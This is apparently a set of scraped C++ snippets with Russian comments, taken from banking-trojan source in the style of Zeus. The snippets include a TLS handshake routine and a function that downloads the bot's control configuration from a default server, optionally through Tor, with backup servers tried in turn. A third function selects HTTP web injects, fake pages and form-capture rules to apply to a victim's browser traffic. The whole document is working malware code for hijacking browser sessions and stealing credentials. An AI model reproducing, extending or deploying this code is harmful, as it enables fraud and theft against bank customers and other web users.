  OutBuffer.ulVersion = SECBUFFER_VERSION;

  //Начинаем handshake.
  SECURITY_STATUS ssFirst = CWA(secur32, InitializeSecurityContextW)(&sd->sh, NULL, serverName, ISC_FLAGS, 0, 0, NULL, 0, &sd->ch, &OutBuffer, &dwContextAttr, NULL);

  #if defined(WDEBUG1)
  WDEBUG1(WDDT_INFO, "ssFirst=0x%08X", ssFirst);
  #endif

  if(ssFirst == SEC_I_CONTINUE_NEEDED && WSocket::tcpSend(socket, OutBuffers[0].pvBuffer, OutBuffers[0].cbBuffer))
  {
    safeFreeContextBuffer(&OutBuffers[0]);

    //Создаем буфер для обмена сообщенияеми.
    LPBYTE recvBuffer = (LPBYTE)Mem::alloc(SOCKET_IO_BUFFER);
    DWORD recvSize   = 0;

    if(recvBuffer != NULL)
    {
      SecBufferDesc   InBuffer;
      SecBuffer       InBuffers[2];
      SECURITY_STATUS ssLoop = SEC_I_CONTINUE_NEEDED;

      while(ssLoop == SEC_I_CONTINUE_NEEDED || ssLoop == SEC_E_INCOMPLETE_MESSAGE)
      {
        //Читаем ответ от сервера.
        if(recvSize == 0 || ssLoop == SEC_E_INCOMPLETE_MESSAGE)
        {
          int r = WSocket::tcpRecv(socket, recvBuffer + recvSize, SOCKET_IO_BUFFER - recvSize, timeout);
          if(r == 0 || r == SOCKET_ERROR)break;
          recvSize += r;
        }

        //Подготавливаем буферы.
        InBuffers[0].pvBuffer    = (void *)recvBuffer;
        InBuffers[0].cbBuffer    = recvSize;
        InBuffers[0].BufferType  = SECBUFFER_TOKEN;

        InBuffers[1].pvBuffer    = NULL;
        InBuffers[1].cbBuffer    = 0;
        InBuffers[1].BufferType  = SECBUFFER_EMPTY;

        InBuffer.cBuffers        = 2;
        InBuffer.pBuffers        = InBuffers;
        InBuffer.ulVersion       = SECBUFFER_VERSION;

        OutBuffers[0].pvBuffer   = NULL;
        OutBuffers[0].BufferType = SECBUFFER_TOKEN;
        OutBuffers[0].cbBuffer   = 0;

        OutBuffer.cBuffers       = 1;
        OutBuffer.pBuffers       = OutBuffers;
        OutBuffer.ulVersion      = SECBUFFER_VERSION;

        dwContextAttr = 0;
        ssLoop = CWA(secur32, InitializeSecurityContextW)(&sd->sh, &sd->ch, serverName, ISC_FLAGS, 0, 0, &InBuffer, 0, NULL, &OutBuffer, &dwContextAttr, NULL);

        #if defined(WDEBUG1)
        WDEBUG1(WDDT_INFO, "ssLoop=0x%08X", ssLoop);
        #endif

        if(ssLoop == SEC_E_INCOMPLETE_MESSAGE)continue;
        if(ssLoop == SEC_E_OK || ssLoop == SEC_I_CONTINUE_NEEDED || ((FAILED(ssLoop)) && (dwContextAttr & ISC_RET_EXTENDED_ERROR)))
        {
          //Отправляем ответ.
          if(OutBuffers[0].cbBuffer != 0 && OutBuffers[0].pvBuffer != NULL)
          {
            if(!WSocket::tcpSend(socket, OutBuffers[0].pvBuffer, OutBuffers[0].cbBuffer))break;
            safeFreeContextBuffer(&OutBuffers[0]);
          }

          //Проверяем есть ли лишние данные.
          if(InBuffers[1].BufferType == SECBUFFER_EXTRA)
          {
            #if defined(WDEBUG1)
            WDEBUG1(WDDT_INFO, "SECBUFFER_EXTRA detected with size %u.", InBuffers[1].cbBuffer);
            #endif

            LPBYTE pOffset = recvBuffer + recvSize - InBuffers[1].cbBuffer;

            if(ssLoop == SEC_E_OK)
            {
              sd->extraBuffer = Mem::copyEx(pOffset, InBuffers[1].cbBuffer);
              if(sd->extraBuffer == NULL)break;
              sd->extraBufferSize = InBuffers[1].cbBuffer;
            }
            else
            {
              Mem::_copy(recvBuffer, pOffset, InBuffers[1].cbBuffer);
              recvSize = InBuffers[1].cbBuffer;
            }
          }
          else recvSize = 0;

          if(ssLoop == SEC_E_OK)
          {
            #if defined(WDEBUG1)
            WDEBUG1(WDDT_INFO, "dwContextAttr=0x%08X", dwContextAttr);
            #endif

            ok = true;
          }
        }
      }
      Mem::free(recvBuffer);
    }
  }

  if(ok && CWA(secur32, QueryContextAttributesW)(&sd->ch, SECPKG_ATTR_STREAM_SIZES, &sd->streamSizes) == SEC_E_OK)
  {
    sd->ioBufferSize = sd->streamSizes.cbHeader + sd->streamSizes.cbMaximumMessage + sd->streamSizes.cbTrailer;
    if((sd->ioBuffer = Mem::alloc(sd->ioBufferSize)) != NULL)
    {
      sd->socket = socket;
      return true;
    }
  }

  if(!FAILED(ssFirst))
  {
    Mem::free(sd->extraBuffer);
    sd->extraBuffer = NULL;
    safeFreeContextBuffer(&OutBuffers[0]);
    CWA(secur32, DeleteSecurityContext)(&sd->ch);
  }

  CWA(secur32, FreeCredentialsHandle)(&sd->sh);
  return false;
}
Exemplo n.º 29
0
bool DynamicConfig::download(LPSTR url)
{
#if defined USE_TOR
	SocketHook::enableTorMode(true);
#endif
  bool ok = false;
  MEMDATA memData;
  BASECONFIG baseConfig;
  Core::getBaseConfig(&baseConfig);
  LPSTR currentUrl = url == NULL ? baseConfig.defaultConfig : url;

  //Пытаемся загрузить стандартный конфиг.
  WDEBUG1(WDDT_INFO, "Trying download config \"%S\".", currentUrl);
  if(newDownloader(currentUrl, &memData))
  {
    if(updateConfig(&baseConfig, &memData, url == NULL ? 0 : UCF_FORCEUPDATE))ok = true;
    Mem::free(memData.data);
  }

  //Если не был указан конкретный URL, входим в цикл по поиску запасных конфигов.
  if(ok == false && url == NULL)
  {
    WDEBUG0(WDDT_INFO, "Failed.");

    BinStorage::STORAGE *currentConfig = getCurrent();

    if(currentConfig != NULL)
    {
      DWORD size;
      LPSTR configUrlsList = (LPSTR)BinStorage::_getItemDataEx(currentConfig, CFGID_URL_ADV_SERVERS, BinStorage::ITEMF_IS_OPTION, &size);
      Mem::free(currentConfig);

      if(Str::_isValidMultiStringA(configUrlsList, size))
      {
        currentUrl = configUrlsList;
        do
        {
          //Задержка между попытками.
          if(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 10000) != WAIT_TIMEOUT)break;

          //Загрузка.
          WDEBUG1(WDDT_INFO, "Trying download \"%S\".", currentUrl);
          
          if(newDownloader(currentUrl, &memData))
          {
            if(updateConfig(&baseConfig, &memData, 0))ok = true;
            Mem::free(memData.data);
          }
#         if(BO_DEBUG > 0)
          if(!ok)WDEBUG0(WDDT_INFO, "Failed.");
#         endif
        }
        while(!ok && (currentUrl = Str::_multiStringGetIndexA(currentUrl, 1)));
      }
      Mem::free(configUrlsList);
    }
  }

#if(BO_DEBUG > 0)  
  if(ok)WDEBUG0(WDDT_INFO, "Downloaded.");
  else WDEBUG0(WDDT_INFO, "Failed.");
#endif
#if defined USE_TOR
	SocketHook::enableTorMode(false);
#endif
  return ok;
	
}
Exemplo n.º 30
0
/*
  Проверка запроса на необходимость инждекта.

  IN OUT requestData - запрос.

  Return             - true - инжекты применины,
                       false - инжекты не применены
*/
static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData)
{
  if(requestData->dynamicConfig == NULL)return false;
  
  DWORD listSize;
  LPBYTE list = (LPBYTE)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_INJECTS_LIST, BinStorage::ITEMF_IS_OPTION, &listSize);

  requestData->injectsCount = 0;
  requestData->injects      = NULL;

  if(list != NULL && listSize > sizeof(HttpInject::HEADER))
  {
    WORD knownFlags               = requestData->verb == HttpGrabber::VERB_POST ? HttpInject::FLAG_REQUEST_POST : HttpInject::FLAG_REQUEST_GET;
    DWORD index                   = 0;
    HttpInject::HEADER *curInject = (HttpInject::HEADER *)list;
    LPBYTE endOfList              = list + listSize;

    while(HttpInject::_isCorrectHeader(curInject))
    {
      LPSTR p          = (LPSTR)curInject; //Переменная для легокого доступа к строкам.
      LPSTR urlMask    = p + curInject->urlMask;
      DWORD matchFlags = curInject->flags &  HttpInject::FLAG_URL_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;
      
      if((curInject->flags & knownFlags) == knownFlags && HttpGrabber::_matchUrlA(urlMask, requestData->url, requestData->urlSize, matchFlags))
      {
        //Проверяем по блеклисту.
        if(requestData->localConfig != NULL && HttpGrabber::_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, requestData->localConfig, requestData->url, requestData->urlSize, matchFlags))
        {
#         if defined WDEBUG1
          WDEBUG1(WDDT_INFO, "Inject for [%S] is blacklisted.", requestData->url);
#         endif
          goto SKIP_ITEM;
        }

        //Проверяем пост-данные.
        if(curInject->postDataBlackMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataBlackMask, (LPSTR)requestData->postData, requestData->postDataSize) == true)
        {
          goto SKIP_ITEM;
        }
        if(curInject->postDataWhiteMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataWhiteMask, (LPSTR)requestData->postData, requestData->postDataSize) == false)
        {
          goto SKIP_ITEM;
        }

        //Проверяем суточные ограничения.
        if(curInject->flags & HttpInject::FLAG_ONCE_PER_DAY && curInject->blockOnUrl > 0)
        {
          SYSTEMTIME lastTime;

          WCHAR key[CORE_REGISTRY_KEY_BUFFER_SIZE];
          WCHAR value[max(CORE_REGISTRY_VALUE_BUFFER_SIZE, (MD5HASH_SIZE * 2 + 1))];

          Core::getRegistryValue(Core::RV_LOCALCONFIG, key, value);

          //Получаем хэш.
          {
            LPSTR blockUrl = p + curInject->blockOnUrl;
            BYTE hash[MD5HASH_SIZE];
            if(!Crypt::_md5Hash(hash, blockUrl, Str::_LengthA(blockUrl)))goto SKIP_ITEM;
            Str::_toHexW(hash, MD5HASH_SIZE, value);
          }
          
          //Проверяем значение.
          if(Registry::_getValueAsBinary(HKEY_CURRENT_USER, key, value, NULL, &lastTime, sizeof(SYSTEMTIME)) == sizeof(SYSTEMTIME))
          {
            SYSTEMTIME curTime;
            CWA(kernel32, GetLocalTime)(&curTime);
            if(lastTime.wDay == curTime.wDay && lastTime.wMonth == curTime.wMonth)
            {
#             if defined WDEBUG1
              WDEBUG1(WDDT_INFO, "Inject [%s] alredy executed today.", urlMask);
#             endif
              goto SKIP_ITEM;
            }
          }
        }

        //Все хорошо, собираем данные.
        {
          HttpGrabber::INJECTFULLDATA ifd;
#         if defined WDEBUG2
          WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, urlMask);
#         endif
          Mem::_zero(&ifd, sizeof(HttpGrabber::INJECTFULLDATA));

          ifd.flags       = curInject->flags;
          ifd.urlMask     = Str::_CopyExA(p + curInject->urlMask, -1);
          ifd.fakeUrl     = curInject->fakeUrl == 0     ? NULL : Str::_CopyExA(p + curInject->fakeUrl,     -1);
          ifd.blockOnUrl  = curInject->blockOnUrl == 0  ? NULL : Str::_CopyExA(p + curInject->blockOnUrl,  -1);
          ifd.contextMask = curInject->contextMask == 0 ? NULL : Str::_CopyExA(p + curInject->contextMask, -1);
         
          //Фейк.
          if(curInject->flags & (HttpInject::FLAG_IS_FAKE | HttpInject::FLAG_IS_MIRRORFAKE))
          {
            //Мульти фейки нельзя использовать, удаляем все инжекты.
            _freeInjectFullDataList(requestData->injects, requestData->injectsCount);
            requestData->injectsCount = 0;

            if((requestData->injects = (HttpGrabber::INJECTFULLDATA *)Mem::copyEx(&ifd, sizeof(HttpGrabber::INJECTFULLDATA))) != NULL)requestData->injectsCount++;
            else HttpGrabber::_freeInjectFullData(&ifd);

            break;
          }
          //Инжект.
          else if(curInject->flags & (HttpInject::FLAG_IS_INJECT | HttpInject::FLAG_IS_CAPTURE))
          {
            if((ifd.injects = (HttpInject::INJECTBLOCK *)BinStorage::_getItemDataEx(requestData->dynamicConfig, 1 + index, BinStorage::ITEMF_IS_HTTP_INJECT, &ifd.injectsSize)) != NULL &&
               HttpInject::_isCorrectBlockList(ifd.injects, ifd.injectsSize) &&
               Mem::reallocEx(&requestData->injects, sizeof(HttpGrabber::INJECTFULLDATA) * (requestData->injectsCount + 1)))
            {
              Mem::_copy(&requestData->injects[requestData->injectsCount++], &ifd, sizeof(HttpGrabber::INJECTFULLDATA));
            }
            else
            {
#             if defined WDEBUG0
              WDEBUG0(WDDT_ERROR, "Dynamic configuration corrupted!");
#             endif
              
              Mem::free(ifd.injects);
              HttpGrabber::_freeInjectFullData(&ifd);

              _freeInjectFullDataList(requestData->injects, requestData->injectsCount);
              requestData->injectsCount = 0;
              break;
            }
          }
          //Неизвестно.
          else 
          {
            HttpGrabber::_freeInjectFullData(&ifd);
#           if defined WDEBUG1
            WDEBUG1(WDDT_ERROR, "Unknown inject detected, curInject->flags=0x%08X!", curInject->flags);
#           endif
          }
        }
        
SKIP_ITEM:;
      }

      //Вычисляем следующий элемент.
      curInject = (HttpInject::HEADER *)(((LPBYTE)curInject) + curInject->size);
      if(((LPBYTE)curInject) + sizeof(HttpInject::HEADER) > endOfList || ((LPBYTE)curInject) + curInject->size > endOfList)break;
      index++;
    }
  }

  Mem::free(list);
  return (requestData->injectsCount > 0);
}